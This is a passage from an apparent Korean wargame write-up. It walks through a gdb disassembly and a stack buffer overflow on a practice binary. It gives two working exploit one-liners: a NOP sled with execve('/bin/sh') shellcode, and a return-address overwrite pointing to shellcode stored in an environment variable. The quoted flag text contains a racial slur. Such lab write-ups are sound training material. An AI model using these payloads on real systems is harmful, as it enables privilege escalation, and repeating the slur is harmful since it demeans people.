call 0x8048360 <printf> 0x080484fb <main+91>: add esp,0x10 ############################################################# ### kill 함수 사용으로 스택 확보 / push / call / 스택 복원 ### 0x080484fe <main+94>: sub esp,0x8 0x08048501 <main+97>: push 0xb 0x08048503 <main+99>: push 0x0 0x08048505 <main+101>: call 0x8048380 <kill> 0x0804850a <main+106>: add esp,0x10 ############################################################# 0x0804850d <main+109>: leave 0x0804850e <main+110>: ret 0x0804850f <main+111>: nop End of assembler dump.
WebAssembly
buf의 크기는 1024 바이트을 할당해주었고, i 변수에는 4바이트를 할당해주었다.
i 변수가 [ebp - 12] 위치에 있고 iSFP 사이에도 8바이트 크기의 간격이 생긴다.
이전 단계들에서 공격에 성공했던 NOPSled 기법과 환경변수를 사용한 공격법으로 풀이를 시도하였다.
NOPSled 기법
중간에 i 변수 부분을 주의하여 명렁어를 작성해야 한다.
./attackme `python -c 'print "\x41" * 1036 + "\x67\x45\x23\x01" + "\x41" * 12 + "\x40\xe4\xff\xbf" + "\x90" * 1500 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
Bash
보통 10번 내외로 시도하면 쉘을 얻어올 수 있다. "Sementation fault" 오류가 발생하지 않는다면 성공한 것이다.
환경변수를 사용한 공격기법
우선 쉘 코드 작동을 위한 환경변수를 등록한 후, SHELL_CODE 환경변수의 주소를 확인한다. 0xbfffff1c 주소인것을 확인하였다.
이제 RET부분의 주소를 쉘 코드가 저장된 SHELL_CODE 환경변수의 주소로 설정해주어 공격을 시도한다. i 변수 부분을 조심하여 명령어를 작성해야 한다.
./attackme `python -c 'print "A"*1036 + "\x67\x45\x23\x01" + "A"*12 + "\x1c\xff\xff\xbf"'`
Bash
성공적으로 환경변수의 쉘 코드를 동작하여 LEVEL12 유저의 쉘을 얻는데 성공하였다.
이제 my-pass명령어로 비밀번호를 확인할 수 있다.
FLAG
Flag is what that nigga want?
TOP